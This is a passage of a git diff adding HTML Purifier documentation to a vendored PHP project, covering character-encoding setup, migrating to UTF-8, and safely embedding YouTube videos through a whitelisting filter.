        You might be able to get away with not specifying a character + encoding with the META tag as long as your webserver + sends the right Content-Type header, but why risk it? Besides, if + the user downloads the HTML file, there is no longer any webserver + to define the character encoding.

        +
        + +

        Embedded encoding disagrees

        + +

        This is an extremely common mistake: another source is telling +the browser what the +character encoding is and is overriding the embedded encoding. This +source usually is the Content-Type HTTP header that the webserver (i.e. +Apache) sends. A usual Content-Type header sent with a page might +look like this:

        + +
        Content-Type: text/html; charset=ISO-8859-1
        + +

        Notice how there is a charset parameter: this is the webserver's +way of telling a browser what the character encoding is, much like +the META tags we touched upon previously.

        + +

        In fact, the META tag is +designed as a substitute for the HTTP header for contexts where +sending headers is impossible (such as locally stored files without +a webserver). Thus the name http-equiv (HTTP equivalent). +

        + +

        There are two ways to go about fixing this: changing the META +tag to match the HTTP header, or changing the HTTP header to match +the META tag. How do we know which to do? It depends +on the website's content: after all, headers and tags are only ways of +describing the actual characters on the web page.

        + +

        If your website:

        + +
        +
        ...only uses ASCII characters,
        +
        Either way is fine, but I recommend switching both to + UTF-8 (more on this later).
        +
        ...uses special characters, and they display + properly,
        +
        Change the embedded encoding to the server encoding.
        +
        ...uses special characters, but users often complain that + they come out garbled,
        +
        Change the server encoding to the embedded encoding.
        +
        + +

        Changing a META tag is easy: just swap out the old encoding +for the new. Changing the server (HTTP header) encoding, however, +is slightly more difficult.

        + +

        Changing the server encoding

        + +

        PHP header() function

        + +

        The simplest way to handle this problem is to send the encoding +yourself, via your programming language. Since you're using HTML +Purifier, I'll assume PHP, although it's not too difficult to do +similar things in +other +languages. The appropriate code is:

        + +
        header('Content-Type:text/html; charset=UTF-8');
        + +

        ...replacing UTF-8 with whatever your embedded encoding is. +This code must come before any output, so be careful about +stray whitespace in your application (i.e., any whitespace before +output excluding whitespace within <?php ?> tags).

        + +

        PHP ini directive

        + +

        PHP also has a neat little ini directive that can save you a +header call: default_charset. Using this code:

        + +
        ini_set('default_charset', 'UTF-8');
        + +

        ...will also do the trick. If PHP is running as an Apache module (and +not as FastCGI, consult +phpinfo() for details), you can even use htaccess to apply this property +across many PHP files:

        + +
        php_value default_charset "UTF-8"
        + +

        As with all INI directives, this can +also go in your php.ini file. Some hosting providers allow you to customize +your own php.ini file, ask your support for details. Use:

        +
        default_charset = "utf-8"
        + +

        Non-PHP

        + +

        You may, for whatever reason, need to set the character encoding +on non-PHP files, usually plain ol' HTML files. Doing this +is more of a hit-or-miss process: depending on the software being +used as a webserver and the configuration of that software, certain +techniques may work, or may not work.

        + +

        .htaccess

        + +

        On Apache, you can use an .htaccess file to change the character +encoding. I'll defer to +W3C +for the in-depth explanation, but it boils down to creating a file +named .htaccess with the contents:

        + +
        AddCharset UTF-8 .html
        + +

        Where UTF-8 is replaced with the character encoding you want to +use and .html is a file extension that this will be applied to. This +character encoding will then be set for any file directly in +or in the subdirectories of directory you place this file in.

        + +

        If you're feeling particularly courageous, you can use:

        + +
        AddDefaultCharset UTF-8
        + +

        ...which changes the character set Apache adds to any document that +doesn't have any Content-Type parameters. This directive, which the +default configuration file sets to iso-8859-1 for security +reasons, is probably why your headers mismatch +with the META tag. If you would prefer Apache not to be +butting in on your character encodings, you can tell it not +to send anything at all:

        + +
        AddDefaultCharset Off
        + +

        ...making your internal charset declaration (usually the META tags) +the sole source of character encoding +information. In these cases, it is especially important to make +sure you have valid META tags on your pages and all the +text before them is ASCII.

        + +

        These directives can also be +placed in httpd.conf file for Apache, but +in most shared hosting situations you won't be able to edit this file. +

        + +

        File extensions

        + +

        If you're not allowed to use .htaccess files, you can often +piggy-back off of Apache's default AddCharset declarations to get +your files in the proper extension. Here are Apache's default +character set declarations:

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        CharsetFile extension(s)
        ISO-8859-1.iso8859-1 .latin1
        ISO-8859-2.iso8859-2 .latin2 .cen
        ISO-8859-3.iso8859-3 .latin3
        ISO-8859-4.iso8859-4 .latin4
        ISO-8859-5.iso8859-5 .latin5 .cyr .iso-ru
        ISO-8859-6.iso8859-6 .latin6 .arb
        ISO-8859-7.iso8859-7 .latin7 .grk
        ISO-8859-8.iso8859-8 .latin8 .heb
        ISO-8859-9.iso8859-9 .latin9 .trk
        ISO-2022-JP.iso2022-jp .jis
        ISO-2022-KR.iso2022-kr .kis
        ISO-2022-CN.iso2022-cn .cis
        Big5.Big5 .big5 .b5
        WINDOWS-1251.cp-1251 .win-1251
        CP866.cp866
        KOI8-r.koi8-r .koi8-ru
        KOI8-ru.koi8-uk .ua
        ISO-10646-UCS-2.ucs2
        ISO-10646-UCS-4.ucs4
        UTF-8.utf8
        GB2312.gb2312 .gb
        utf-7.utf7
        EUC-TW.euc-tw
        EUC-JP.euc-jp
        EUC-KR.euc-kr
        shift_jis.sjis
        + +

        So, for example, a file named page.utf8.html or +page.html.utf8 will probably be sent with the UTF-8 charset +attached, the difference being that if there is an +AddCharset charset .html declaration, it will override +the .utf8 extension in page.utf8.html (precedence moves +from right to left). By default, Apache has no such declaration.

        + +

        Microsoft IIS

        + +

        If anyone can contribute information on how to configure Microsoft +IIS to change character encodings, I'd be grateful.

        + +

        XML

        + +

        META tags are the most common source of embedded +encodings, but they can also come from somewhere else: XML +Declarations. They look like:

        + +
        <?xml version="1.0" encoding="UTF-8"?>
        + +

        ...and are most often found in XML documents (including XHTML).

        + +

        For XHTML, this XML Declaration theoretically +overrides the META tag. In reality, this happens only when the +XHTML is actually served as legit XML and not HTML, which is almost always +never due to Internet Explorer's lack of support for +application/xhtml+xml (even though doing so is often +argued to be good +practice and is required by the XHTML 1.1 specification).

        + +

        For XML, however, this XML Declaration is extremely important. +Since most webservers are not configured to send charsets for .xml files, +this is the only thing a parser has to go on. Furthermore, the default +for XML files is UTF-8, which often butts heads with more common +ISO-8859-1 encoding (you see this in garbled RSS feeds).

        + +

        In short, if you use XHTML and have gone through the +trouble of adding the XML Declaration, make sure it jives +with your META tags (which should only be present +if served in text/html) and HTTP headers.

        + +

        Inside the process

        + +

        This section is not required reading, +but may answer some of your questions on what's going on in all +this character encoding hocus pocus. If you're interested in +moving on to the next phase, skip this section.

        + +

        A logical question that follows all of our wheeling and dealing +with multiple sources of character encodings is "Why are there +so many options?" To answer this question, we have to turn +back our definition of character encodings: they allow a program +to interpret bytes into human-readable characters.

        + +

        Thus, a chicken-egg problem: a character encoding +is necessary to interpret the +text of a document. A META tag is in the text of a document. +The META tag gives the character encoding. How can we +determine the contents of a META tag, inside the text, +if we don't know it's character encoding? And how do we figure out +the character encoding, if we don't know the contents of the +META tag?

        + +

        Fortunately for us, the characters we need to write the +META are in ASCII, which is pretty much universal +over every character encoding that is in common use today. So, +all the web-browser has to do is parse all the way down until +it gets to the Content-Type tag, extract the character encoding +tag, then re-parse the document according to this new information.

        + +

        Obviously this is complicated, so browsers prefer the simpler +and more efficient solution: get the character encoding from a +somewhere other than the document itself, i.e. the HTTP headers, +much to the chagrin of HTML authors who can't set these headers.

        + +

        Why UTF-8?

        + +

        So, you've gone through all the trouble of ensuring that your +server and embedded characters all line up properly and are +present. Good job: at +this point, you could quit and rest easy knowing that your pages +are not vulnerable to character encoding style XSS attacks. +However, just as having a character encoding is better than +having no character encoding at all, having UTF-8 as your +character encoding is better than having some other random +character encoding, and the next step is to convert to UTF-8. +But why?

        + +

        Internationalization

        + +

        Many software projects, at one point or another, suddenly realize +that they should be supporting more than one language. Even regular +usage in one language sometimes requires the occasional special character +that, without surprise, is not available in your character set. Sometimes +developers get around this by adding support for multiple encodings: when +using Chinese, use Big5, when using Japanese, use Shift-JIS, when +using Greek, etc. Other times, they use character references with great +zeal.

        + +

        UTF-8, however, obviates the need for any of these complicated +measures. After getting the system to use UTF-8 and adjusting for +sources that are outside the hand of the browser (more on this later), +UTF-8 just works. You can use it for any language, even many languages +at once, you don't have to worry about managing multiple encodings, +you don't have to use those user-unfriendly entities.

        + +

        User-friendly

        + +

        Websites encoded in Latin-1 (ISO-8859-1) which occasionally need +a special character outside of their scope often will use a character +entity reference to achieve the desired effect. For instance, θ can be +written &theta;, regardless of the character encoding's +support of Greek letters.

        + +

        This works nicely for limited use of special characters, but +say you wanted this sentence of Chinese text: 激光, +這兩個字是甚麼意思. +The ampersand encoded version would look like this:

        + +
        &#28608;&#20809;, &#36889;&#20841;&#20491;&#23383;&#26159;&#29978;&#40636;&#24847;&#24605;
        + +

        Extremely inconvenient for those of us who actually know what +character entities are, totally unintelligible to poor users who don't! +Even the slightly more user-friendly, "intelligible" character +entities like &theta; will leave users who are +uninterested in learning HTML scratching their heads. On the other +hand, if they see θ in an edit box, they'll know that it's a +special character, and treat it accordingly, even if they don't know +how to write that character themselves.

        + +

        Wikipedia is a great case study for +an application that originally used ISO-8859-1 but switched to UTF-8 +when it became far to cumbersome to support foreign languages. Bots +will now actually go through articles and convert character entities +to their corresponding real characters for the sake of user-friendliness +and searchability. See +Meta's +page on special characters for more details. +

        + +

        Forms

        + +

        While we're on the tack of users, how do non-UTF-8 web forms deal +with characters that are outside of their character set? Rather than +discuss what UTF-8 does right, we're going to show what could go wrong +if you didn't use UTF-8 and people tried to use characters outside +of your character encoding.

        + +

        The troubles are large, extensive, and extremely difficult to fix (or, +at least, difficult enough that if you had the time and resources to invest +in doing the fix, you would be probably better off migrating to UTF-8). +There are two types of form submission: application/x-www-form-urlencoded +which is used for GET and by default for POST, and multipart/form-data +which may be used by POST, and is required when you want to upload +files.

        + +

        The following is a summarization of notes from + +FORM submission and i18n. That document contains lots +of useful information, but is written in a rambly manner, so +here I try to get right to the point. (Note: the original has +disappeared off the web, so I am linking to the Web Archive copy.)

        + +

        application/x-www-form-urlencoded

        + +

        This is the Content-Type that GET requests must use, and POST requests +use by default. It involves the ubiquitous percent encoding format that +looks something like: %C3%86. There is no official way of +determining the character encoding of such a request, since the percent +encoding operates on a byte level, so it is usually assumed that it +is the same as the encoding the page containing the form was submitted +in. (RFC 3986 +recommends that textual identifiers be translated to UTF-8; however, browser +compliance is spotty.) You'll run into very few problems +if you only use characters in the character encoding you chose.

        + +

        However, once you start adding characters outside of your encoding +(and this is a lot more common than you may think: take curly +"smart" quotes from Microsoft as an example), +a whole manner of strange things start to happen. Depending on the +browser you're using, they might:

        + +
          +
        • Replace the unsupported characters with useless question marks,
        • +
        • Attempt to fix the characters (example: smart quotes to regular quotes),
        • +
        • Replace the character with a character entity reference, or
        • +
        • Send it anyway as a different character encoding mixed in + with the original encoding (usually Windows-1252 rather than + iso-8859-1 or UTF-8 interspersed in 8-bit)
        • +
        + +

        To properly guard against these behaviors, you'd have to sniff out +the browser agent, compile a database of different behaviors, and +take appropriate conversion action against the string (disregarding +a spate of extremely mysterious, random and devastating bugs Internet +Explorer manifests every once in a while). Or you could +use UTF-8 and rest easy knowing that none of this could possibly happen +since UTF-8 supports every character.

        + +

        multipart/form-data

        + +

        Multipart form submission takes away a lot of the ambiguity +that percent-encoding had: the server now can explicitly ask for +certain encodings, and the client can explicitly tell the server +during the form submission what encoding the fields are in.

        + +

        There are two ways you go with this functionality: leave it +unset and have the browser send in the same encoding as the page, +or set it to UTF-8 and then do another conversion server-side. +Each method has deficiencies, especially the former.

        + +

        If you tell the browser to send the form in the same encoding as +the page, you still have the trouble of what to do with characters +that are outside of the character encoding's range. The behavior, once +again, varies: Firefox 2.0 converts them to character entity references +while Internet Explorer 7.0 mangles them beyond intelligibility. For +serious internationalization purposes, this is not an option.

        + +

        The other possibility is to set Accept-Encoding to UTF-8, which +begs the question: Why aren't you using UTF-8 for everything then? +This route is more palatable, but there's a notable caveat: your data +will come in as UTF-8, so you will have to explicitly convert it into +your favored local character encoding.

        + +

        I object to this approach on idealogical grounds: you're +digging yourself deeper into +the hole when you could have been converting to UTF-8 +instead. And, of course, you can't use this method for GET requests.

        + +

        Well supported

        + +

        Almost every modern browser in the wild today has full UTF-8 and Unicode +support: the number of troublesome cases can be counted with the +fingers of one hand, and these browsers usually have trouble with +other character encodings too. Problems users usually encounter stem +from the lack of appropriate fonts to display the characters (once +again, this applies to all character encodings and HTML entities) or +Internet Explorer's lack of intelligent font picking (which can be +worked around).

        + +

        We will go into more detail about how to deal with edge cases in +the browser world in the Migration section, but rest assured that +converting to UTF-8, if done correctly, will not result in users +hounding you about broken pages.

        + +

        HTML Purifier

        + +

        And finally, we get to HTML Purifier. HTML Purifier is built to +deal with UTF-8: any indications otherwise are the result of an +encoder that converts text from your preferred encoding to UTF-8, and +back again. HTML Purifier never touches anything else, and leaves +it up to the module iconv to do the dirty work.

        + +

        This approach, however, is not perfect. iconv is blithely unaware +of HTML character entities. HTML Purifier, in order to +protect against sophisticated escaping schemes, normalizes all character +and numeric entity references before processing the text. This leads to +one important ramification:

        + +

        Any character that is not supported by the target character +set, regardless of whether or not it is in the form of a character +entity reference or a raw character, will be silently ignored.

        + +

        Example of this principle at work: say you have &theta; +in your HTML, but the output is in Latin-1 (which, understandably, +does not understand Greek), the following process will occur (assuming you've +set the encoding correctly using %Core.Encoding):

        + +
          +
        • The Encoder will transform the text from ISO 8859-1 to UTF-8 + (note that theta is preserved here since it doesn't actually use + any non-ASCII characters): &theta;
        • +
        • The EntityParser will transform all named and numeric + character entities to their corresponding raw UTF-8 equivalents: + θ
        • +
        • HTML Purifier processes the code: θ
        • +
        • The Encoder now transforms the text back from UTF-8 + to ISO 8859-1. Since Greek is not supported by ISO 8859-1, it + will be either ignored or replaced with a question mark: + ?
        • +
        + +

        This behaviour is quite unsatisfactory. It is a deal-breaker for +international applications, and it can be mildly annoying for the provincial +soul who occasionally needs a special character. Since 1.4.0, HTML +Purifier has provided a slightly more palatable workaround using +%Core.EscapeNonASCIICharacters. The process now looks like:

        + +
          +
        • The Encoder transforms encoding to UTF-8: &theta;
        • +
        • The EntityParser transforms entities: θ
        • +
        • HTML Purifier processes the code: θ
        • +
        • The Encoder replaces all non-ASCII characters + with numeric entity reference: &#952;
        • +
        • For good measure, Encoder transforms encoding back to + original (which is strictly unnecessary for 99% of encodings + out there): &#952; (remember, it's all ASCII!)
        • +
        + +

        ...which means that this is only good for an occasional foray into +the land of Unicode characters, and is totally unacceptable for Chinese +or Japanese texts. The even bigger kicker is that, supposing the +input encoding was actually ISO-8859-7, which does support +theta, the character would get converted into a character entity reference +anyway! (The Encoder does not discriminate).

        + +

        The current functionality is about where HTML Purifier will be for +the rest of eternity. HTML Purifier could attempt to preserve the original +form of the character references so that they could be substituted back in, only the +DOM extension kills them off irreversibly. HTML Purifier could also attempt +to be smart and only convert non-ASCII characters that weren't supported +by the target encoding, but that would require reimplementing iconv +with HTML awareness, something I will not do.

        + +

        So there: either it's UTF-8 or crippled international support. Your pick! (and I'm +not being sarcastic here: some people could care less about other languages).

        + +

        Migrate to UTF-8

        + +

        So, you've decided to bite the bullet, and want to migrate to UTF-8. +Note that this is not for the faint-hearted, and you should expect +the process to take longer than you think it will take.

        + +

        The general idea is that you convert all existing text to UTF-8, +and then you set all the headers and META tags we discussed earlier +to UTF-8. There are many ways going about doing this: you could +write a conversion script that runs through the database and re-encodes +everything as UTF-8 or you could do the conversion on the fly when someone +reads the page. The details depend on your system, but I will cover +some of the more subtle points of migration that may trip you up.

        + +

        Configuring your database

        + +

        Most modern databases, the most prominent open-source ones being MySQL +4.1+ and PostgreSQL, support character encodings. If you're switching +to UTF-8, logically speaking, you'd want to make sure your database +knows about the change too. There are some caveats though:

        + +

        Legit method

        + +

        Standardization in terms of SQL syntax for specifying character +encodings is notoriously spotty. Refer to your respective database's +documentation on how to do this properly.

        + +

        For MySQL, ALTER will magically perform the +character encoding conversion for you. However, you have +to make sure that the text inside the column is what is says it is: +if you had put Shift-JIS in an ISO 8859-1 column, MySQL will irreversibly mangle +the text when you try to convert it to UTF-8. You'll have to convert +it to a binary field, convert it to a Shift-JIS field (the real encoding), +and then finally to UTF-8. Many a website had pages irreversibly mangled +because they didn't realize that they'd been deluding themselves about +the character encoding all along; don't become the next victim.

        + +

        For PostgreSQL, there appears to be no direct way to change the +encoding of a database (as of 8.2). You will have to dump the data, and then reimport +it into a new table. Make sure that your client encoding is set properly: +this is how PostgreSQL knows to perform an encoding conversion.

        + +

        Many times, you will be also asked about the "collation" of +the new column. Collation is how a DBMS sorts text, like ordering +B, C and A into A, B and C (the problem gets surprisingly complicated +when you get to languages like Thai and Japanese). If in doubt, +going with the default setting is usually a safe bet.

        + +

        Once the conversion is all said and done, you still have to remember +to set the client encoding (your encoding) properly on each database +connection using SET NAMES (which is standard SQL and is +usually supported).

        + +

        Binary

        + +

        Due to the aforementioned compatibility issues, a more interoperable +way of storing UTF-8 text is to stuff it in a binary datatype. +CHAR becomes BINARY, VARCHAR becomes +VARBINARY and TEXT becomes BLOB. +Doing so can save you some huge headaches:

        + +
          +
        • The syntax for binary data types is very portable,
        • +
        • MySQL 4.0 has no support for character encodings, so + if you want to support it you have to use binary,
        • +
        • MySQL, as of 5.1, has no support for four byte UTF-8 characters, + which represent characters beyond the basic multilingual + plane, and
        • +
        • You will never have to worry about your DBMS being too smart + and attempting to convert your text when you don't want it to.
        • +
        + +

        MediaWiki, a very prominent international application, uses binary fields +for storing their data because of point three.

        + +

        There are drawbacks, of course:

        + +
          +
        • Database tools like PHPMyAdmin won't be able to offer you inline + text editing, since it is declared as binary,
        • +
        • It's not semantically correct: it's really text not binary + (lying to the database),
        • +
        • Unless you use the not-very-portable wizardry mentioned above, + you have to change the encoding yourself (usually, you'd do + it on the fly), and
        • +
        • You will not have collation.
        • +
        + +

        Choose based on your circumstances.

        + +

        Text editor

        + +

        For more flat-file oriented systems, you will often be tasked with +converting reams of existing text and HTML files into UTF-8, as well as +making sure that all new files uploaded are properly encoded. Once again, +I can only point vaguely in the right direction for converting your +existing files: make sure you backup, make sure you use +iconv(), and +make sure you know what the original character encoding of the files +is (or are, depending on the tidiness of your system).

        + +

        However, I can proffer more specific advice on the subject of +text editors. Many text editors have notoriously spotty Unicode support. +To find out how your editor is doing, you can check out this list +or Wikipedia's list. +I personally use Notepad++, which works like a charm when it comes to UTF-8. +Usually, you will have to explicitly tell the editor through some dialogue +(usually Save as or Format) what encoding you want it to use. An editor +will often offer "Unicode" as a method of saving, which is +ambiguous. Make sure you know whether or not they really mean UTF-8 +or UTF-16 (which is another flavor of Unicode).

        + +

        The two things to look out for are whether or not the editor +supports font mixing (multiple +fonts in one document) and whether or not it adds a BOM. +Font mixing is important because fonts rarely have support for every +language known to mankind: in order to be flexible, an editor must +be able to take a little from here and a little from there, otherwise +all your Chinese characters will come as nice boxes. We'll discuss +BOM below.

        + +

        Byte Order Mark (headers already sent!)

        + +

        The BOM, or Byte +Order Mark, is a magical, invisible character placed at +the beginning of UTF-8 files to tell people what the encoding is and +what the endianness of the text is. It is also unnecessary.

        + +

        Because it's invisible, it often +catches people by surprise when it starts doing things it shouldn't +be doing. For example, this PHP file:

        + +
        BOM<?php
        +header('Location: index.php');
        +?>
        + +

        ...will fail with the all too familiar Headers already sent +PHP error. And because the BOM is invisible, this culprit will go unnoticed. +My suggestion is to only use ASCII in PHP pages, but if you must, make +sure the page is saved WITHOUT the BOM.

        + +
        +

        The headers the error is referring to are HTTP headers, + which are sent to the browser before any HTML to tell it various + information. The moment any regular text (and yes, a BOM counts as + ordinary text) is output, the headers must be sent, and you are + not allowed to send anymore. Thus, the error.

        +
        + +

        If you are reading in text files to insert into the middle of another +page, it is strongly advised (but not strictly necessary) that you replace out the UTF-8 byte +sequence for BOM "\xEF\xBB\xBF" before inserting it in, +via:

        + +
        $text = str_replace("\xEF\xBB\xBF", '', $text);
        + +

        Fonts

        + +

        Generally speaking, people who are having trouble with fonts fall +into two categories:

        + +
          +
        • Those who want to +use an extremely obscure language for which there is very little +support even among native speakers of the language, and
        • +
        • Those where the primary language of the text is +well-supported but there are occasional characters +that aren't supported.
        • +
        + +

        Yes, there's always a chance where an English user happens across +a Sinhalese website and doesn't have the right font. But an English user +who happens not to have the right fonts probably has no business reading Sinhalese +anyway. So we'll deal with the other two edge cases.

        + +

        Obscure scripts

        + +

        If you run a Bengali website, you may get comments from users who +would like to read your website but get heaps of question marks or +other meaningless characters. Fixing this problem requires the +installation of a font or language pack which is often highly +dependent on what the language is. Here is an example +of such a help file for the Bengali language; I am sure there are +others out there too. You just have to point users to the appropriate +help file.

        + +

        Occasional use

        + +

        A prime example of when you'll see some very obscure Unicode +characters embedded in what otherwise would be very bland ASCII are +letters of the +International +Phonetic Alphabet (IPA), use to designate pronunciations in a very standard +manner (you probably see them all the time in your dictionary). Your +average font probably won't have support for all of the IPA characters +like ʘ (bilabial click) or ʒ (voiced postalveolar fricative). +So what's a poor browser to do? Font mix! Smart browsers like Mozilla Firefox +and Internet Explorer 7 will borrow glyphs from other fonts in order +to make sure that all the characters display properly.

        + +

        But what happens when the browser isn't smart and happens to be the +most widely used browser in the entire world? Microsoft IE 6 +is not smart enough to borrow from other fonts when a character isn't +present, so more often than not you'll be slapped with a nice big �. +To get things to work, MSIE 6 needs a little nudge. You could configure it +to use a different font to render the text, but you can achieve the same +effect by selectively changing the font for blocks of special characters +to known good Unicode fonts.

        + +

        Fortunately, the folks over at Wikipedia have already done all the +heavy lifting for you. Get the CSS from the horses mouth here: +Common.css, +and search for ".IPA" There are also a smattering of +other classes you can use for other purposes, check out +this page +for more details. For you lazy ones, this should work:

        + +
        .Unicode {
        +        font-family: Code2000, "TITUS Cyberbit Basic", "Doulos SIL",
        +            "Chrysanthi Unicode", "Bitstream Cyberbit",
        +            "Bitstream CyberBase", Thryomanes, Gentium, GentiumAlt,
        +            "Lucida Grande", "Arial Unicode MS", "Microsoft Sans Serif",
        +            "Lucida Sans Unicode";
        +        font-family /**/:inherit; /* resets fonts for everyone but IE6 */
        +}
        + +

        The standard usage goes along the lines of <span class="Unicode">Crazy +Unicode stuff here</span>. Characters in the +Windows Glyph List +usually don't need to be fixed, but for anything else you probably +want to play it safe. Unless, of course, you don't care about IE6 +users.

        + +

        Dealing with variable width in functions

        + +

        When people claim that PHP6 will solve all our Unicode problems, they're +misinformed. It will not fix any of the aforementioned troubles. It will, +however, fix the problem we are about to discuss: processing UTF-8 text +in PHP.

        + +

        PHP (as of PHP5) is blithely unaware of the existence of UTF-8 (with a few +notable exceptions). Sometimes, this will cause problems, other times, +this won't. So far, we've avoided discussing the architecture of +UTF-8, so, we must first ask, what is UTF-8? Yes, it supports Unicode, +and yes, it is variable width. Other traits:

        + +
          +
        • Every character's byte sequence is unique and will never be found + inside the byte sequence of another character,
        • +
        • UTF-8 may use up to four bytes to encode a character,
        • +
        • UTF-8 text must be checked for well-formedness,
        • +
        • Pure ASCII is also valid UTF-8, and
        • +
        • Binary sorting will sort UTF-8 in the same order as Unicode.
        • +
        + +

        Each of these traits affect different domains of text processing +in different ways. It is beyond the scope of this document to explain +what precisely these implications are. PHPWact provides +a very good reference document +on what to expect from each function, although coverage is spotty in +some areas. Their more general notes on +character sets +are also worth looking at for information on UTF-8. Some rules of thumb +when dealing with Unicode text:

        + +
          +
        • Do not EVER use functions that:
            +
          • ...convert case (strtolower, strtoupper, ucfirst, ucwords)
          • +
          • ...claim to be case-insensitive (str_ireplace, stristr, strcasecmp)
          • +
        • +
        • Think twice before using functions that:
            +
          • ...count characters (strlen will return bytes, not characters; + str_split and word_wrap may corrupt)
          • +
          • ...convert characters to entity references (UTF-8 doesn't need entities)
          • +
          • ...do very complex string processing (*printf)
          • +
        • +
        + +

        Note: this list applies to UTF-8 encoded text only: if you have +a string that you are 100% sure is ASCII, be my guest and use +strtolower (HTML Purifier uses this function.)

        + +

        Regardless, always think in bytes, not characters. If you use strpos() +to find the position of a character, it will be in bytes, but this +usually won't matter since substr() also operates with byte indices!

        + +

        You'll also need to make sure your UTF-8 is well-formed and will +probably need replacements for some of these functions. I recommend +using Harry Fuecks' PHP +UTF-8 library, rather than use mb_string directly. HTML Purifier +also defines a few useful UTF-8 compatible functions: check out +Encoder.php in the /library/HTMLPurifier/ +directory.

        + + + +

        Well, that's it. Hopefully this document has served as a very +practical springboard into knowledge of how UTF-8 works. You may have +decided that you don't want to migrate yet: that's fine, just know +what will happen to your output and what bug reports you may receive.

        + +

        Many other developers have already discussed the subject of Unicode, +UTF-8 and internationalization, and I would like to defer to them for +a more in-depth look into character sets and encodings.

        + + + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html new file mode 100644 index 00000000..87a36b9a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html @@ -0,0 +1,153 @@ + + + + + + + +Embedding YouTube Videos - HTML Purifier + + + +

        Embedding YouTube Videos

        +
        ...as well as other dangerous active content
        + +
        Filed under End-User
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        Clients like their YouTube videos. It gives them a warm fuzzy feeling when +they see a neat little embedded video player on their websites that can play +the latest clips from their documentary "Fido and the Bones of Spring". +All joking aside, the ability to embed YouTube videos or other active +content in their pages is something that a lot of people like.

        + +

        This is a bad idea. The moment you embed anything untrusted, +you will definitely be slammed by a manner of nasties that can be +embedded in things from your run of the mill Flash movie to +Quicktime movies. +Even img tags, which HTML Purifier allows by default, can be +dangerous. Be distrustful of anything that tells a browser to load content +from another website automatically.

        + +

        Luckily for us, however, whitelisting saves the day. Sure, letting users +include any old random flash file could be dangerous, but if it's +from a specific website, it probably is okay. If no amount of pleading will +convince the people upstairs that they should just settle with just linking +to their movies, you may find this technique very useful.

        + +

        Looking in

        + +

        Below is custom code that allows users to embed +YouTube videos. This is not favoritism: this trick can easily be adapted for +other forms of embeddable content.

        + +

        Usually, websites like YouTube give us boilerplate code that you can insert +into your documents. YouTube's code goes like this:

        + +
        +<object width="425" height="350">
        +  <param name="movie" value="http://www.youtube.com/v/AyPzM5WK8ys" />
        +  <param name="wmode" value="transparent" />
        +  <embed src="http://www.youtube.com/v/AyPzM5WK8ys"
        +         type="application/x-shockwave-flash"
        +         wmode="transparent" width="425" height="350" />
        +</object>
        +
        + +

        There are two things to note about this code:

        + +
          +
        1. <embed> is not recognized by W3C, so if you want + standards-compliant code, you'll have to get rid of it.
        2. +
        3. The code is exactly the same for all instances, except for the + identifier AyPzM5WK8ys which tells us which movie file + to retrieve.
        4. +
        + +

        What point 2 means is that if we have code like <span +class="youtube-embed">AyPzM5WK8ys</span> your +application can reconstruct the full object from this small snippet that +passes through HTML Purifier unharmed. +Show me the code!

        + +

        And the corresponding usage:

        + +
        <?php
        +    $config->set('Filter.YouTube', true);
        +?>
        + +

        There is a bit going in the two code snippets, so let's explain.

        + +
          +
        1. This is a Filter object, which intercepts the HTML that is + coming into and out of the purifier. You can add as many + filter objects as you like. preFilter() + processes the code before it gets purified, and postFilter() + processes the code afterwards. So, we'll use preFilter() to + replace the object tag with a span, and postFilter() + to restore it.
        2. +
        3. The first preg_replace call replaces any YouTube code users may have + embedded into the benign span tag. Span is used because it is inline, + and objects are inline too. We are very careful to be extremely + restrictive on what goes inside the span tag, as if an errant code + gets in there it could get messy.
        4. +
        5. The HTML is then purified as usual.
        6. +
        7. Then, another preg_replace replaces the span tag with a fully fledged + object. Note that the embed is removed, and, in its place, a data + attribute was added to the object. This makes the tag standards + compliant! It also breaks Internet Explorer, so we add in a bit of + conditional comments with the old embed code to make it work again. + It's all quite convoluted but works.
        8. +
        + +

        Warning

        + +

        There are a number of possible problems with the code above, depending +on how you look at it.

        + +

        Cannot change width and height

        + +

        The width and height of the final YouTube movie cannot be adjusted. This +is because I am lazy. If you really insist on letting users change the size +of the movie, what you need to do is package up the attributes inside the +span tag (along with the movie ID). It gets complicated though: a malicious +user can specify an outrageously large height and width and attempt to crash +the user's operating system/browser. You need to either cap it by limiting +the amount of digits allowed in the regex or using a callback to check the +number.

        + +

        Trusts media's host's security

        + +

        By allowing this code onto our website, we are trusting that YouTube has +tech-savvy enough people not to allow their users to inject malicious +code into the Flash files. An exploit on YouTube means an exploit on your +site. Even though YouTube is run by the reputable Google, it +doesn't +mean they are +invulnerable. +You're putting a certain measure of the job on an external provider (just as +you have by entrusting your user input to HTML Purifier), and +it is important that you are cognizant of the risk.

        + +

        Poorly written adaptations compromise security

        + +

        This should go without saying, but if you're going to adapt this code +for Google Video or the like, make sure you do it right. It's +extremely easy to allow a character too many in postFilter() and +suddenly you're introducing XSS into HTML Purifier's XSS free output. HTML +Purifier may be well written, but it cannot guard against vulnerabilities +introduced after it has finished.

        + +

        Help out!

        + +

        If you write a filter for your favorite video destination (or anything +like that, for that matter), send it over and it might get included +with the core!

